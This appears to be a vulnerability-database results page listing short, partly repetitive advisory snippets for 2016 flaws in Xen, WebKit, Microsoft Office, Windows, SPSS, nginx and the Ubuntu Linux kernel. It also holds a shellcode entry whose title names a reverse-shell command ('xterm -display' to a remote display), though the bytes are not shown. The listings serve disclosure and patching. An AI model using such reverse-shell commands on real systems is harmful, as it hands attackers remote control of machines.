Design/Logic Flaw

Xen 4.5.x through 4.7.x do not implement Supervisor Mode Access Prevention SMAP whitelisting in 32-bit exception and event delivery, which allows local 32-bit PV guest OS kernels to cause a denial of service hypervisor and VM crash by triggering a safety check...

CVE-2016-6258

The PV pagetable code in arch/x86/mm.c in Xen 4.7.x and earlier allows local 32-bit PV guest OS administrators to gain host OS privileges by leveraging fast-paths for updating pagetable entries...

CVE-2016-6259

CVE-2016-6259 affects Xen 4.5.x–4.7.x where SMAP whitelisting is not implemented for 32-bit exception/event delivery. This enables local 32-bit PV guests to trigger a safety check that can crash the hypervisor or VMs (DoS). The root cause is missing Supervisor Mode Access Prevention whitelisting ...

CVE-2016-6259

Xen 4.5.x through 4.7.x do not implement Supervisor Mode Access Prevention SMAP whitelisting in 32-bit exception and event delivery, which allows local 32-bit PV guest OS kernels to cause a denial of service hypervisor and VM crash by triggering a safety check...

FreeBSD : xen-kernel -- x86: Missing SMAP whitelisting in 32-bit exception / event delivery (04cf89e3-5854-11e6-b334-002590263bf5)

The Xen Project reports : Supervisor Mode Access Prevention is a hardware feature designed to make an Operating System more robust, by raising a pagefault rather than accidentally following a pointer into userspace. However, legitimate accesses into userspace require whitelisting, and the excepti...

WebKit - TypedArray.fill Memory Corruption

WebKit - TypedArray.fill Memory Corruption length; unsigned begin = argumentClampedIndexFromStartOrEndexec, 1, length; unsigned end = argumentClampedIndexFromStartOrEndexec, 2, length, length; if end thisValue; if !thisObject-setRangeToValueexec, begin, end, valueToInsert return...

WebKit - TypedArray.fill Memory Corruption

length; unsigned begin = argumentClampedIndexFromStartOrEndexec, 1, length; unsigned end = argumentClampedIndexFromStartOrEndexec, 2, length, length; if end thisValue; if !thisObject-setRangeToValueexec, begin, end, valueToInsert return JSValue::encodejsUndefined; argumentClampedIndexFromStartOrE...

Xen Denial of Service Vulnerability (CNVD-2016-05534)

Xen is an open source virtual machine monitor product developed at the University of Cambridge in the United Kingdom. Xen has a denial-of-service vulnerability, which can be exploited by an attacker using a PV-mode x86 32-bit hardware platform to trigger a security check that will cause the VM...

x86: Missing SMAP whitelisting in 32-bit exception / event delivery

ISSUE DESCRIPTION Supervisor Mode Access Prevention is a hardware feature designed to make an Operating System more robust, by raising a pagefault rather than accidentally following a pointer into userspace. However, legitimate accesses into userspace require whitelisting, and the exception...

xen-kernel -- x86: Missing SMAP whitelisting in 32-bit exception / event delivery

The Xen Project reports: Supervisor Mode Access Prevention is a hardware feature designed to make an Operating System more robust, by raising a pagefault rather than accidentally following a pointer into userspace. However, legitimate accesses into userspace require whitelisting, and the exceptio...

Linux/x86 - Reverse Shell using Xterm ///usr/bin/xterm -display 127.1.1.1:10 Shellcode (68 bytes)

/ Title : Linux , Reverse Shell using Xterm , ///usr/bin/xterm -display 127.1.1.1:10 Date : 12-07-2016 Author : RTV Tested On : Ubuntu x86 shellcode :...

Security Update for Microsoft PowerPoint 2013 (KB3115254) 32-Bit Edition

A security vulnerability exists in Microsoft PowerPoint 2013 32-Bit Edition that could allow arbitrary code to run when a maliciously modified file is opened. This update resolves that vulnerability...

Microsoft Office CVE-2016-3281 Memory Corruption Vulnerability

Description Microsoft Office is prone to a remote memory-corruption vulnerability because it fails to properly handle objects in memory. An attacker can leverage this issue to execute arbitrary code in the context of the currently logged-in user. Failed exploit attempts will likely result in deni...

Microsoft Windows Kernel 'Win32k.sys' CVE-2016-3252 Local Privilege Escalation Vulnerability

Description Microsoft Windows is prone to a local privilege-escalation vulnerability that occurs in the Windows kernel. A local attacker can exploit this issue to execute arbitrary code in kernel mode with elevated privileges. Technologies Affected Microsoft Windows 10 for 32-bit Systems Microsof...

The vulnerability of the SPSS Statistics data analysis system allows a perpetrator to execute arbitrary codes on 32-bit platforms.

The vulnerability of the ActiveX component of SPSS Statistics is related to errors in the code. Exploiting this vulnerability allows a malicious actor to execute arbitrary code on 32-bit platforms using a specially crafted HTML document...

Vulnerabilities in the nginx software allow a malicious attacker to compromise the confidentiality, integrity, and accessibility of protected information.

The vulnerability in the implementation of SPDY in the ngxhttpspdymodule module of nginx when running on 32-bit platforms allows malicious actors to execute arbitrary code using specially crafted requests...

Ubuntu 16.04 LTS : Linux kernel (Qualcomm Snapdragon) vulnerabilities (USN-3016-3)

The remote Ubuntu 16.04 LTS host has a package installed that is affected by multiple vulnerabilities as referenced in the USN-3016-3 advisory. Jesse Hertz and Tim Newsham discovered that the Linux netfilter implementation did not correctly perform validation when handling 32 bit compatibility...

Ubuntu 14.04 LTS : Linux kernel vulnerabilities (USN-3018-1)

The remote Ubuntu 14.04 LTS host has a package installed that is affected by multiple vulnerabilities as referenced in the USN-3018-1 advisory. Jesse Hertz and Tim Newsham discovered that the Linux netfilter implementation did not correctly perform validation when handling 32 bit compatibility...

Ubuntu 14.04 LTS : Linux kernel (Wily HWE) vulnerabilities (USN-3017-3)

The remote Ubuntu 14.04 LTS host has a package installed that is affected by multiple vulnerabilities as referenced in the USN-3017-3 advisory. USN-3017-1 fixed vulnerabilities in the Linux kernel for Ubuntu 15.10. This update provides the corresponding updates for the Linux Hardware Enablement H...

CVE-2016-4997

A flaw was discovered in processing setsockopt for 32 bit processes on 64 bit systems. This flaw will allow attackers to alter arbitrary kernel memory when unloading a kernel module. This action is usually restricted to root-privileged users but can also be leveraged if the kernel is compiled wit...